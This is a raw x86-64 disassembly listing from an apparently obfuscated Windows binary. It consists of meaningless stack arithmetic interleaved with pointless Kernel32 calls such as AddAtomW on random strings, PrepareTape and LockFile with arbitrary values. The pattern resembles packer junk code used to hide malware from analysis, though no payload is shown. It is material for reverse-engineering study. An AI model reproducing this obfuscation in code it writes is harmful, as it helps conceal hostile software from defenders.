mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0xa90c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6ad8], eax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad4c], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov byte [rsp + 0x73c], al
movzx eax, word [rsp + 0x2154]
mov rcx, qword [rsp + 0x14650]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1402826bc], ax
mov eax, dword [rsp + 0xab98]
mov ecx, dword [rsp + 0xa588]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa580], eax
mov eax, dword [0x14028ed6c]
mov dword [rsp + 0xaeb0], eax
mov rax, qword [rsp + 0x14ed0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa6bc]
sar eax, cl
mov dword [rsp + 0xa77c], eax
lea rcx, [rsp + 0x225a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0xa7a4]
mov rcx, qword [rsp + 0x14f80]
mov qword [rsp + 0x15140], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15140]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9b0c], eax
lea rdx, [rsp + 0x233c0]
mov rcx, qword [rsp + 0x14fd8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa2b4], eax
movzx eax, byte [rsp + 0x669]
movzx ecx, byte [rsp + 0x1aa]
xor eax, ecx
mov byte [rsp + 0x653], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1b1c], ax
mov eax, dword [rsp + 0xac28]
mov dword [rsp + 0xaeb4], eax
mov rax, qword [0x14028ecf8]
mov rcx, qword [rsp + 0x14688]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7e84], eax
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14c50]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140281e83], al
lea rcx, str.L2bT
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2f8c], ax
movzx eax, word [rsp + 0x2c74]
mov word [rsp + 0x2f90], ax
movzx eax, word [rsp + 0x1b1c]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x221c], ax
mov rax, qword [rsp + 0x14878]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a3]
sub eax, ecx
mov byte [rsp + 0x72e], al
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [0x14028ee28]
mov ecx, dword [rsp + 0x9cb8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6480], eax
mov rax, qword [rsp + 0x14cd8]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xab84], eax
mov eax, dword [rsp + 0x6828]
mov dword [rsp + 0xaeb8], eax
mov rax, qword [rsp + 0x14d88]
mov eax, dword [rax]
mov ecx, dword [0x14028ed98]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xac38], eax
mov rax, qword [rsp + 0x15108]
mov ecx, dword [rsp + 0xa4cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6f2c], eax
mov rax, qword [rsp + 0x14d08]
movzx eax, byte [rax]
mov byte [rsp + 0x73d], al
movzx eax, word [rsp + 0x2b90]
movzx ecx, word [rsp + 0x2dc8]
add eax, ecx
mov word [0x140282814], ax
mov eax, dword [rsp + 0xad00]
mov ecx, dword [rsp + 0xa628]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa990], eax
mov rax, qword [0x14028ecf8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa48c]
shl eax, cl
mov dword [rsp + 0x8140], eax
mov rax, qword [rsp + 0x144e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xae54]
sar eax, cl
mov dword [rsp + 0xa7e8], eax
mov rax, qword [rsp + 0x14df0]
mov ecx, dword [rsp + 0x7ed4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7b80], eax
lea rax, [rsp + 0x24c8]
mov qword [rsp + 0x15148], rax
movzx eax, byte [rsp + 0x6f3]
mov rcx, qword [rsp + 0x14280]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x327], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2c89
mov r9d, 0x1182
mov r8d, 0x35dc7f46
mov edx, 1
mov rcx, qword [rsp + 0x14568]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xac58], eax
lea rax, [rsp + 0x20b0]
mov qword [rsp + 0x15150], rax
movsx eax, byte [0x14028ed4e]
movsx ecx, byte [rsp + 0x738]
and eax, ecx
mov byte [rsp + 0x643], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xaeac], eax
mov rax, qword [rsp + 0x14b10]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282844], eax
mov eax, dword [rsp + 0x6c88]
mov dword [rsp + 0xaebc], eax
lea rcx, str.WurIb.Adny7
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2f94], ax
lea rdx, [rsp + 0x233c0]
mov rcx, qword [rsp + 0x14328]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xa3d8], eax
movzx eax, byte [0x140281daa]
movzx ecx, byte [rsp + 0x65c]
add eax, ecx
mov byte [rsp + 0x6a0], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c1c]
sub eax, ecx
mov word [rsp + 0x2cc8], ax
mov eax, dword [rsp + 0xa4cc]
mov dword [rsp + 0xaec0], eax
mov rax, qword [rsp + 0x150a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8af4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa934], eax
mov rax, qword [rsp + 0x14630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x6ec4], eax
mov rax, qword [0x14028ed40]
mov ecx, dword [rsp + 0x6e48]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14ab8]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
movzx eax, word [rsp + 0x2c4c]
movzx ecx, word [rsp + 0x2a0c]
add eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
lea rax, [rsp + 0x686]
mov qword [0x14028ebb8], rax
mov eax, dword [rsp + 0x8db0]
mov dword [rsp + 0xaec4], eax
mov rax, qword [rsp + 0x14c30]
mov rcx, qword [rsp + 0x14738]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x87e4], eax
mov eax, dword [rsp + 0xa8f4]
mov dword [rsp + 0xaec8], eax
mov eax, dword [0x140282738]
mov ecx, dword [rsp + 0xa6f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa974], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14b60], rax
mov eax, dword [rsp + 0x9a1c]
mov ecx, dword [rsp + 0xa340]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa478], eax
mov rax, qword [rsp + 0x14d00]
movzx eax, word [rax]
mov word [rsp + 0x2f98], ax
mov rax, qword [rsp + 0x14db8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x688]
sar eax, cl
mov byte [rsp + 0x190], al
movzx eax, word [rsp + 0x16d0]
mov rcx, qword [rsp + 0x15060]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x14e0], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PrepareTape]
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14318], rax
movzx eax, byte [rsp + 0x67b]
movzx ecx, byte [0x14028ece8]
shl eax, cl
mov byte [0x140281e3e], al
mov rax, qword [rsp + 0x14dd8]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8188], eax
mov rax, qword [rsp + 0x14be8]
mov eax, dword [rax]
mov dword [rsp + 0xaecc], eax
movzx eax, word [rsp + 0x2e3c]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e48], ax
movzx eax, byte [rsp + 0x66e]
movzx ecx, byte [rsp + 0x698]
add eax, ecx
mov byte [rsp + 0x69c], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov dword [rsp + 0xaed0], eax
mov eax, dword [rsp + 0xa424]
mov ecx, dword [rsp + 0x8f10]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8188], eax
mov rax, qword [rsp + 0x14688]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7714]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8404], eax
mov eax, dword [rsp + 0x8724]
mov ecx, dword [rsp + 0xacec]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaca8], eax
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov word [0x14028ebb0], ax
movzx eax, byte [rsp + 0x6fc]
mov rcx, qword [rsp + 0x147c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x668], al
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
mov dword [rsp + 0xaed4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xaed8], eax
mov eax, dword [0x14028ed6c]
mov ecx, dword [rsp + 0xabc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3e4], eax
mov rax, qword [rsp + 0x15150]
movzx eax, word [rax]
mov word [rsp + 0x2f9c], ax
movsx eax, byte [rsp + 0x374]
movsx ecx, byte [rsp + 0x70e]
add eax, ecx
mov byte [rsp + 0x642], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2d1c], ax
movzx eax, byte [rsp + 0x6be]
mov rcx, qword [rsp + 0x14250]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x47b], al
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x9834]
shl eax, cl
mov dword [rsp + 0xa24c], eax
mov rax, qword [rsp + 0x14b90]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa3ac]
sar eax, cl
mov rcx, qword [0x14028ebc8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa428]
mov dword [rsp + 0xaedc], eax
mov eax, dword [rsp + 0xaad4]
mov ecx, dword [rsp + 0x7cb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x80c0], eax
mov rax, qword [rsp + 0x14c18]
mov rcx, qword [rsp + 0x140d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaec8], eax
movzx eax, word [rsp + 0x2d40]
mov word [rsp + 0x2fa0], ax
movzx eax, byte [rsp + 0x3ed]
mov rcx, qword [0x14028ecd0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6d5], al
mov rax, qword [rsp + 0x14630]
mov rcx, qword [rsp + 0x14720]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6664], eax
mov eax, dword [0x14028edd8]
mov ecx, dword [rsp + 0x7f44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa50], eax
mov eax, dword [rsp + 0xa774]
mov dword [rsp + 0xaee0], eax
mov rax, qword [rsp + 0x14348]
mov ecx, dword [rsp + 0x6f50]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402828b8], eax
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
movzx ecx, word [0x14028eca0]
sub eax, ecx
mov word [rsp + 0x217c], ax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x15080]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x6e5], al
mov rax, qword [rsp + 0x14a98]
movzx eax, word [rax]
mov word [rsp + 0x2fa4], ax
movsx eax, byte [rsp + 0x62e]
movsx ecx, byte [rsp + 0x695]
sub eax, ecx
mov byte [rsp + 0x735], al
mov rax, qword [rsp + 0x14da0]
mov rcx, qword [rsp + 0x14cd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6554], eax
mov rax, qword [rsp + 0x14fc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14c18]
mov qword [rsp + 0x15158], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15158]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa984], eax
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6c4]
shl eax, cl
mov byte [rsp + 0x661], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
mov word [rsp + 0x2fa8], ax
mov rax, qword [rsp + 0x14ec8]
mov ecx, dword [0x14028ee58]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [0x14028ebf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xade8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x150f8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa9e0]
mov dword [rsp + 0xaee4], eax
mov rax, qword [rsp + 0x14b30]
mov rcx, qword [0x14028ee38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa50], eax
movzx eax, byte [rsp + 0x6d9]
movzx ecx, byte [rsp + 0x668]
add eax, ecx
mov byte [rsp + 0x43d], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov word [rsp + 0x2fac], ax
mov dword [rsp + 0x20], 0x1f44
mov r9d, 0x1fd5
mov r8d, 0x2e07
mov edx, 0x6ed
mov rcx, qword [rsp + 0x146b8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa748], eax
mov rax, qword [rsp + 0x149a0]
mov ecx, dword [0x1402826e4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa54c], eax
mov eax, dword [rsp + 0xa6a0]
mov ecx, dword [rsp + 0x7c9c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x935c], eax
mov rax, qword [rsp + 0x14ea8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad28]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7b0], eax
mov rax, qword [0x14028edd0]
mov ecx, dword [rsp + 0xa3b4]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402828bc], eax
mov eax, dword [rsp + 0xaee4]
mov dword [rsp + 0xaee8], eax
mov rax, qword [rsp + 0x14d70]
movsx eax, byte [rax]
movsx ecx, byte [0x140281e33]
add eax, ecx
mov byte [rsp + 0x160], al
movsx eax, word [rsp + 0x1aa0]
mov rcx, qword [rsp + 0x14648]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14448]
mov word [rcx], ax
movzx eax, byte [rsp + 0x2d5]
mov byte [rsp + 0x73e], al
mov rax, qword [rsp + 0x14388]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14918]
mov word [rcx], ax
mov rax, qword [rsp + 0x14560]
mov ecx, dword [rsp + 0xab3c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9880], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommTimeouts]
mov rax, qword [rsp + 0x14b78]
mov rcx, qword [rsp + 0x14ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaad0], eax
mov rax, qword [0x14028ec48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d74], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.L23Tkz_rItHZdX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15160], rax
movzx eax, byte [rsp + 0x299]
movzx ecx, byte [rsp + 0x331]
or eax, ecx
mov byte [0x140281e1a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa5fc], eax
lea rax, [rsp + 0xa160]
mov qword [rsp + 0x15168], rax
lea rcx, [rsp + 0x24a10]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa5e8], eax
mov rax, qword [rsp + 0x14cc0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa400]
shl eax, cl
mov dword [rsp + 0x9e20], eax
mov rax, qword [rsp + 0x14348]
mov eax, dword [rax]
mov dword [rsp + 0xaeec], eax
mov rax, qword [0x14028ece0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7f44]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xad14], eax
mov rax, qword [rsp + 0x14a20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6fc]
and eax, ecx
mov byte [rsp + 0x309], al
mov rax, qword [rsp + 0x14918]
movzx eax, word [rax]
mov word [rsp + 0x2fb0], ax
mov rax, qword [rsp + 0x14738]
mov ecx, dword [0x140282840]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa660], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x8c34]
mov ecx, dword [rsp + 0xa6f0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x696c], eax
lea rax, [rsp + 0x2ec8]
mov qword [0x14028eba8], rax
movsx eax, byte [rsp + 0x621]
mov rcx, qword [rsp + 0x150d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x708], al
movzx eax, byte [rsp + 0x665]
movzx ecx, byte [rsp + 0x65c]
add eax, ecx
mov rcx, qword [rsp + 0x14e10]
mov byte [rcx], al
mov rax, qword [rsp + 0x14770]
movzx eax, word [rax]
mov word [rsp + 0x2fb4], ax
mov rax, qword [rsp + 0x14d20]
mov ecx, dword [rsp + 0xac84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x80c0], eax
lea rax, [rsp + 0x80c0]
mov qword [rsp + 0x15170], rax
mov eax, dword [rsp + 0xac2c]
mov ecx, dword [rsp + 0xab7c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xab58], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa884], eax
mov rax, qword [rsp + 0x14c20]
mov eax, dword [rax]
mov dword [rsp + 0xaef0], eax
mov rax, qword [0x14028ee50]
mov rcx, qword [rsp + 0x14140]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa6a0], eax
movzx eax, word [rsp + 0x2de0]
movzx ecx, word [rsp + 0x1f98]
sub eax, ecx
mov word [rsp + 0x2bf0], ax
mov rax, qword [0x14028ed18]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14028ee08], al
mov eax, dword [rsp + 0xaa28]
mov ecx, dword [rsp + 0xa0bc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x79d4], eax
mov eax, dword [0x14028eec8]
mov rcx, qword [rsp + 0x14738]
mov qword [rsp + 0x15178], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15178]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14fa8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9784]
mov dword [rsp + 0xaef4], eax
mov eax, dword [rsp + 0xa6dc]
movzx ecx, al
mov eax, dword [rsp + 0x7800]
shr eax, cl
mov dword [rsp + 0xa67c], eax
movzx eax, byte [rsp + 0x6a3]
mov rcx, qword [0x14028ed60]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x692], al
mov rax, qword [rsp + 0x15060]
movzx eax, word [rax]
mov word [rsp + 0x2fb8], ax
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x66d], al
lea rax, [rsp + 0x2bac]
mov qword [rsp + 0x15180], rax
mov r9d, 1
lea r8, [rsp + 0x13f28]
mov rdx, qword [rsp + 0x15188]
mov rcx, qword [rsp + 0x14c48]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xad74], eax
mov eax, dword [rsp + 0xa7a8]
mov ecx, dword [rsp + 0x8bc0]
add ecx, eax
mov eax, ecx
mov dword [0x1402828c0], eax
mov eax, dword [rsp + 0xaa88]
mov ecx, dword [rsp + 0xab7c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xada8], eax
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e28], ax
mov rax, qword [rsp + 0x146e8]
movzx eax, byte [rax]
mov byte [rsp + 0x73f], al
mov rax, qword [rsp + 0x146f8]
mov rcx, qword [rsp + 0x15098]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x96d4], eax
mov eax, dword [rsp + 0xa9a8]
mov ecx, dword [rsp + 0x6d88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9498], eax
mov eax, dword [rsp + 0x6c24]
mov ecx, dword [rsp + 0xa3d4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xab04], eax
mov eax, dword [0x14028287c]
mov ecx, dword [rsp + 0xac38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x149a0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x114]
mov byte [rsp + 0x740], al
lea rcx, [rsp + 0x24590]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa668], eax
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de8]
sub eax, ecx
mov word [0x14028ed9e], ax
mov rax, qword [rsp + 0x15128]
mov rcx, qword [0x14028ee98]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9ad8], eax
mov eax, dword [rsp + 0xa530]
mov dword [rsp + 0xaef8], eax
mov rax, qword [rsp + 0x144c0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa9e0]
shl eax, cl
mov dword [rsp + 0x651c], eax
mov rax, qword [rsp + 0x14a88]
mov rcx, qword [rsp + 0x147e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6ae4], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6880]
sar eax, cl
mov rcx, qword [rsp + 0x14970]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x723]
movsx ecx, byte [0x14028ed9c]
and eax, ecx
mov byte [rsp + 0x72c], al
mov rax, qword [rsp + 0x143c8]
movzx eax, word [rax]
mov word [rsp + 0x2fbc], ax
mov rax, qword [rsp + 0x14c38]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14c88]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x543], al
mov rax, qword [rsp + 0x14e78]
movzx eax, word [rax]
mov word [0x14028eba4], ax
mov eax, dword [rsp + 0x6480]
mov dword [rsp + 0xaefc], eax
mov rax, qword [rsp + 0x14a18]
mov rcx, qword [rsp + 0x14f80]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad0c], eax
movzx eax, byte [rsp + 0x325]
movzx ecx, byte [rsp + 0x63d]
add eax, ecx
mov byte [rsp + 0x6c1], al
mov rax, qword [rsp + 0x14dc8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bf0]
sub eax, ecx
mov word [rsp + 0x2120], ax
mov rax, qword [rsp + 0x145d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x67e0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac70], eax
mov rax, qword [rsp + 0x14f18]
mov eax, dword [rax]
mov dword [rsp + 0xaf00], eax
mov rax, qword [rsp + 0x14260]
mov ecx, dword [rsp + 0xa5b8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xad58], eax
mov rcx, qword [rsp + 0x14d38]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xad74], eax
mov eax, dword [rsp + 0xa650]
mov ecx, dword [rsp + 0x6f20]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4c4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15060]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1402828c4], ax
lea rax, [rsp + 0x468]
mov qword [rsp + 0x15190], rax
mov dword [rsp + 0x20], 0x32cc
mov r9d, 0x2d4b
mov r8d, 0x14a0
mov edx, 0x18ff
mov rcx, qword [rsp + 0x14bc8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa3ec], eax
mov rax, qword [rsp + 0x14a40]
mov rcx, qword [rsp + 0x14588]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xad00], eax
lea rax, [rsp + 0xa43c]
mov qword [rsp + 0x15198], rax
mov rax, qword [rsp + 0x14c68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x619], al
xor r9d, r9d
xor r8d, r8d
mov edx, 0xced1
mov rcx, qword [rsp + 0x14ea0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa58c], eax
mov rax, qword [rsp + 0x14a98]
movzx eax, word [rax]
mov word [rsp + 0x2fc0], ax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b38]
shl eax, cl
mov word [rsp + 0x2e48], ax
movzx eax, byte [rsp + 0x68f]
movzx ecx, byte [rsp + 0x73f]
xor eax, ecx
mov byte [rsp + 0x6ca], al
mov rax, qword [rsp + 0x14f18]
mov rcx, qword [rsp + 0x148d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6edc], eax
mov rax, qword [rsp + 0x15108]
mov ecx, dword [rsp + 0xa9b4]
mov eax, dword [rax]
and eax, ecx
mov dword [0x140282738], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14ee0]
mov rcx, qword [rsp + 0x14f60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14f70]
mov dword [rcx], eax
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
mov dword [rsp + 0xaf04], eax
mov eax, dword [rsp + 0xa378]
mov ecx, dword [rsp + 0xa900]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xabc0], eax
mov rax, qword [rsp + 0x149c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14810]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x6c6], al
movzx eax, word [rsp + 0x2d2c]
mov word [rsp + 0x2fc4], ax
mov rax, qword [rsp + 0x147a0]
mov ecx, dword [rsp + 0xa838]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaeb8], eax
mov eax, dword [rsp + 0xa42c]
mov ecx, dword [rsp + 0xa874]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x97b0], eax
mov rax, qword [rsp + 0x14688]
mov rcx, qword [rsp + 0x146f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa6a0], eax
mov eax, dword [rsp + 0x9108]
mov ecx, dword [rsp + 0xa38c]
and ecx, eax
mov eax, ecx
mov dword [0x14028276c], eax
movzx eax, byte [rsp + 0x224]
movzx ecx, byte [rsp + 0x2bb]
add eax, ecx
mov byte [rsp + 0x299], al
lea rax, [rsp + 0x2d48]
